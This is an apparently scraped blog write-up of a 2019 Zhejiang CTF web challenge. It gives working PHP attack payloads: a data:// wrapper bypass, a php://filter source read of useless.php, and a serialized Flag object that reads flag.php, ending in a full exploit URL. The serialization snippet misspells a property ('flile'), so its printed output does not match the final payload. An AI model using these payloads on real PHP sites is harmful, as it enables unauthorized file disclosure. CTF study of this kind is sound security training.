2019-Web-逆转思维-WP
这是浙江省大学生网络与信息安全竞赛-决赛-2019-Web-逆转思维的题解
1 |
|
首先先过第一个
if
就是text
得 是welcome to the zjctf
直接data
伪协议 也可以直接用php://input
绕过1
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
然后过第二个
if
提示有
useless.php
直接php://filter
读取一下&file=php://filter/read=convert.base64-encode/resource=useless.php
1
2
3
4
5
- 得到`base64`
- ```
PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
- 构造序列化
- ```php
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a = new Flag();
$a -> flile = 'flag.php';
echo(serialize($a));
?>O:4:"Flag":2:{s:4:"file";N;s:5:"flile";s:8:"flag.php";}
1
2
3
- ```php
/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
- Post title: 2019-Web-逆转思维-WP
- Create time: 2022-05-05 19:42:57
- Post link: 2022/05/05/CTFWP-NiZhuanSiWei/
- Copyright notice: All articles in this blog are licensed under BY-NC-SA unless stating additionally.
Comments